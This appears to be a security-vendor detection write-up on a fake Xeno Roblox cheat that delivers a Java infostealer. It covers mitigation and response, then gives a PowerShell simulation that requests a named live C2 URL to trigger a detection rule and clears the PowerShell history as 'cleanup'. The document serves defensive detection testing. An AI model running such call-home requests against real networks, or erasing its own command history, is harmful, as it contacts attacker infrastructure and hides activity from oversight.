Xeno Roblox Cheat Lures Deploy a Java-Based Infostealer

Summary

A malware campaign is impersonating the popular Roblox script executor Xeno to distribute a sophisticated multi-stage Java-based stealer. The operation targets gaming communities through Discord and online forums, aiming to steal credentials, cryptocurrency wallets, and personal information. In addition to data theft, the payload supports remote access and surveillance features, including webcam control and live desktop streaming.

Investigation

Bitdefender researchers uncovered a multi-stage infection chain involving a fraudulent Xeno loader, a JAR file disguised as a Windows executable, and a final-stage Java stealer. The investigation identified advanced anti-analysis techniques, including checks for debuggers and virtualization artifacts. Researchers also discovered new command-and-control infrastructure and confirmed that the malware can perform privilege escalation through CMSTP.

Mitigation

Users should avoid downloading unofficial game cheats, script executors, or related tools from untrusted sources such as Discord servers and gaming forums. Application control policies and updated endpoint protection can help block unauthorized binaries and malicious Java components. Enabling multi-factor authentication (MFA) across gaming, messaging, cryptocurrency, and financial accounts adds important protection against credential theft.

Response

If malicious activity is detected, the affected host should be isolated immediately to stop further data exfiltration or lateral movement. Investigators should determine the scope of the compromise, focusing on stolen browser cookies, credentials, and cryptocurrency wallet access. System logs should also be reviewed for unauthorized PowerShell execution and newly created persistence mechanisms in the Windows Registry.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary has deployed a malicious Java-based executable disguised as a gaming cheat. To receive instructions and exfiltrate stolen credentials, the malware must reach out to its C2 infrastructure. The attacker uses a specific endpoint https://solthere.net/justacoolkat10 to signal a successful infection. We will use PowerShell to simulate this “call home” behavior, mimicking the network request that the proxy logs must intercept to trigger the detection.

• Regression Test Script:

  # Simulation of Java Stealer C2 Communication
  # Target: Trigger the Sigma rule via specific malicious URL pattern
  
  $C2_URL = "https://solthere.net/justacoolkat10"
  $UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  
  Write-Host "[+] Initiating simulated C2 communication to: $C2_URL" -ForegroundColor Cyan
  
  try {
      # Using Invoke-WebRequest to simulate a browser-like request through the proxy
      $response = Invoke-WebRequest -Uri $C2_URL -UserAgent $UserAgent -Method Get -ErrorAction Stop
      Write-Host "[!] Success: Request sent. Check SIEM for detection." -ForegroundColor Green
  }
  catch {
      Write-Host "[?] Request failed (Expected if the domain is actually blocked/down), but telemetry should still be generated." -ForegroundColor Yellow
      Write-Host "Error Detail: $($_.Exception.Message)"
  }

• Cleanup Commands:

  # No persistent artifacts created by this simulation.
  # Simply clear the PowerShell history to remove the simulated command.
  Clear-History
  Write-Host "[+] Cleanup complete." -ForegroundColor Green